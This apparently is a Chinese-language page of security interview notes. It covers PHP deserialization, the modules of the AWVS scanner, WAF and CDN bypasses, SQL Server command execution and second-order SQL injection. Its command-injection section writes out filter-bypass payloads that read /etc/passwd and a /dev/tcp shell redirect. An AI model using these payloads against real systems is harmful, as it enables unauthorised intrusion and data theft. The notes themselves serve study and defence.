面试123

PHP

PHP反序列化

  • 原理:在对象被序列化之前,会检查是否有__sleep()函数,如果存在,该函数会清理对象,并返回一个数组,数组中包含被序列化的对象的所有属性的名称。如果该方法不返回任何内容,则序列化后的字符串将变为N并提示Notice。__sleep()的预期用途是提交需要挂起的数据或执行类似的清理任务。如果有一个非常大的对象,不需要完全保存其所有属性,该功能将非常有用。
  • unserialize漏洞依赖几个条件:
  1. unserialize函数的参数可控
  2. 脚本中存在一个构造函数(__construct())、析构函数(__destruct())、__wakeup()函数中有向php文件中写数据的操作的类
  3. 所写的内容需要有对象中的成员变量的值

工具使用

AWVS

主要功能模块

  • Blind SQL Injector:盲注工具
  • HTTP Editor:http协议数据包编辑器
  • WebScanner:Web安全漏洞扫描(核心功能)
  • Site Crawler:遍历站点目录结构(爬虫功能)
  • HTTP Sniffer:HTTP协议嗅探器
  • HTTP Fuzzer:模糊测试工具
  • Authentication Tester:Web认证破解工具
  • Target Finder:端口扫描,找出web服务器端口(如80,443)
  • Subdomain Scanner:子域名扫描器,利用DNS查询使用方法

绕过技术

waf

  • 先上传个txt,然后引用
  • 分块传输
  • 前面添加大量无用内容
  • 上传畸形数据

命令注入

  • 常见手法: && 、 | 、||
  • 无空格绕过(linux) :cat</etc/passwd、{cat,/etc/passwd}、cat$IFS/etc/passwd(内部字段分隔符)、X=‘uname\x20-a’&&$X、sh</dev/tcp/127.0.0.1/443
  • 无空格绕过(windows):ping%CommonProgramFiles:~10,-18%IP、ping%PROGRAMFILES:~10,-5%IP
  • 字符过滤 十六进制
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
xxd -r -p <<< 2f6574632f706173737764
cat `xxd -r -p <<< 2f6574632f706173737764`
  • 黑名单单词
单引号 w'h'o'am'i 
双引号 w"h"o"am"i
用反斜杠和斜杠绕过 w\ho\am\i   /\b\i\n/s\h

绕过CDN

  • nslookup
  • 多地ping
  • 子域名
  • 利用报错
  • 历史dns
  • 邮件系统
  • 网络空间引擎
  • https证书

SQL注入

mysql dumpfile与outfile函数的区别

  • into outfile 函数 会 在行末端写入新行 更致命的 是会转义 换行符
    这样的话这个2进制可执行 文件 就会被破坏
    这时候我们用into dumpfile 就能导出 一个完整能执行的2进制 文件
    into dumpfile 函数不对任何列或行进行终止,也不执行任何转义处理
  • outfile 全部
  • dumpfile 一行

SQL Server执行系统命令

  • XP_CMDSHELL
  • SP_OACREATE
  • 自启动
  • 参考
  • 通过Agent Job执行命令
  • SQL Server CLR
  • 使用PowerUpSQL

二次注入

  • 原理:
    二次注入需要具备的两个条件:
    (1)用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)
    (2)数据库对自己存储的数据非常放心,直接取出恶意数据给用户
  • 防御:
    (1)对外部提交数据谨慎
    (2)从数据库取数据时,不能轻易相信查询出的数据,要做到同样的转义或是甄别
上一篇:C语言选择排序算法


下一篇:LeetCode-100题(Hot) 45. 跳跃游戏 II [Java实现] [极速]